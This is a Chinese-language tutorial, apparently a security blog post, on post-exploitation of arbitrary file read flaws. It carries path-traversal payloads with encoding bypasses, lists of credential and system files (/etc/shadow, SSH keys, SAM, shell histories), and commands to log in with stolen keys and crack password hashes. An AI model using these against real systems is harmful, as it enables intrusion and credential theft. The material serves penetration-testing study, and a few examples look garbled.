文件读取漏洞的后利用姿势
字数 3288 2025-08-12 11:33:56
任意文件读取漏洞的深入利用技术手册
一、前言
任意文件读取漏洞是Web安全中常见的一种漏洞类型,攻击者通过该漏洞可以读取服务器上的敏感文件。本手册将全面介绍Windows和Linux系统下可利用的敏感文件路径、绕过技巧以及后利用技术,帮助安全研究人员最大化利用此类漏洞。
二、常见敏感文件路径
Windows系统敏感文件
-
系统信息文件
C:\boot.ini- 查看系统版本信息C:\Windows\repair\sam- 存储系统初次安装的密码
-
服务器配置文件
C:\Windows\System32\inetsrv\MetaBase.xml- IIS配置文件C:\Windows\php.ini- PHP配置信息
-
数据库相关文件
C:\Program Files\mysql\my.ini- MySQL配置C:\Program Files\mysql\data\mysql\user.MYD- MySQL root用户信息
Linux系统敏感文件
-
SSH相关文件
/root/.ssh/authorized_keys- 远程登录公钥文件/root/.ssh/id_rsa- SSH私钥/root/.ssh/id_ras.keystore- 访问用户的公钥记录/root/.ssh/known_hosts- 访问过计算机的公钥记录
-
系统账户文件
/etc/passwd- 账户信息/etc/shadow- 账户密码文件
-
服务配置文件
/etc/my.cnf- MySQL配置文件/etc/httpd/conf/httpd.conf- Apache配置文件/etc/redhat-release- 系统版本信息
-
历史记录文件
/root/.bash_history- 用户历史命令记录/root/.mysql_history- MySQL历史命令记录
-
特殊系统文件
/var/lib/mlocate/mlocate.db- 全文件路径数据库/proc/self/fd/fd[0-9]*- 文件标识符/proc/mounts- 系统挂载设备记录/proc/config.gz- 内核配置文件/proc/self/cmdline- 当前进程的cmdline参数/proc/sched_debug- 当前运行进程及PID/proc/net/fib_trie- 内网IP信息/proc/self/environ- 环境变量/proc/self/loginuid- 当前用户信息
三、绕过技巧
-
URL编码绕过
- 使用
%2F代替/:?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd - 二次编码:
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
- 使用
-
特殊字符绕过
- 加入
+:?filename=bin/redacted.dll - 使用空字节:
/etc/passwd%00.jpg - 使用反斜杠:
?filename=..%5c..%5c/windows/win.ini
- 加入
-
Java安全模式绕过
- 使用
%c0%ae代替.:?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
- 使用
四、Linux下的深入利用
1. 用户目录敏感文件
.bash_history、.zsh_history- shell历史命令.psql_history、.mysql_history- 数据库操作历史.profile、.bashrc- shell配置文件.gitconfig- Git配置.viminfo- Vim编辑器信息
利用方法:
- 提取历史命令中的密码、路径、配置文件路径、关联IP等信息
- 使用
../../root/.bash_history读取root用户历史 - 爆破所有用户的
.bash_history:home/§root§/.bash_history
2. 主机凭证获取
SSH私钥利用:
- 获取
/root/.ssh/id_rsa后可直接登录服务器:ssh -i id_rsa root@IP地址
系统密码破解:
/etc/shadow文件格式:root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::$id$salt$密文结构- 常见算法ID:
$1- MD5$2a/$2y- Blowfish$5- SHA-256$6- SHA-512
破解方法:
- 使用在线工具如cmd5.com
- 使用John the Ripper:
unshadow /etc/passwd /etc/shadow > test_passwd john --wordlist=字典路径 test_passwd
3. 全文件路径数据库利用
/var/lib/mlocate/mlocate.db存储了所有文件路径- 使用locate命令提取有用信息:
locate mlocate.db config # 输出包含config的路径 locate mlocate.db webapps locate mlocate.db www
4. 程序源代码获取
- 读取
WEB-INF/web.xml,进一步获取class文件反编译 - 读取war包反编译获取源码
- Java站点关键文件:
/WEB-INF/web.xml/WEB-INF/classes/applicationContext.xml/WEB-INF/classes/xxx/xxx/xxx.classcore.jar(Shiro站点可搜索Base64.decode获取key)
5. 应用配置文件
- Tomcat:
/usr/local/tomcat/conf/tomcat-users.xml - Nginx:
/www/nginx/conf/nginx.conf/etc/nginx/nginx.conf/usr/local/nginx/conf/nginx.conf
- Apache:
/etc/httpd/conf/httpd.conf/etc/apache2/apache2.conf
- Redis:
/etc/redis.conf - SSH:
/etc/ssh/sshd_config
6. 应用日志文件分析
-
Tomcat:
- 从
/tomcat/bin/catalina.sh查找log配置路径 /webapps/ROOT/logs/catalina.out
- 从
-
Apache:
/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access_log
-
Nginx:
/var/log/nginx/access.log/var/log/nginx/error.log
五、Windows下的利用技巧
-
盲读取桌面文件:
- 常见文件名fuzz:
1.txt、pass.txt、密码.txt等 - 路径格式:
C:\Users\Administrator\Desktop\pass.txt
- 常见文件名fuzz:
-
特殊文件读取:
- 尝试读取
C:\Users\用户名\Documents目录下的文档 - 查找备份文件如
.bak、.old等
- 尝试读取
六、总结与最佳实践
-
信息收集优先级:
- 先获取系统基本信息(
/etc/passwd、/etc/shadow、/proc/version等) - 再查找凭证文件(SSH密钥、数据库配置等)
- 最后获取应用相关文件(配置文件、日志、源代码等)
- 先获取系统基本信息(
-
大文件处理技巧:
- 对于大日志文件或备份文件,可尝试使用wget下载:
wget http://target/path/to/large/file
- 对于大日志文件或备份文件,可尝试使用wget下载:
-
思维拓展:
- 结合多个小漏洞形成完整攻击链
- 从读取的文件中挖掘更多敏感信息(如数据库连接字符串、API密钥等)
- 关注历史命令中的敏感操作记录
通过系统性地利用任意文件读取漏洞,安全研究人员可以获取大量敏感信息,为进一步渗透测试奠定基础。记住要发散思维,将看似微小的漏洞价值最大化。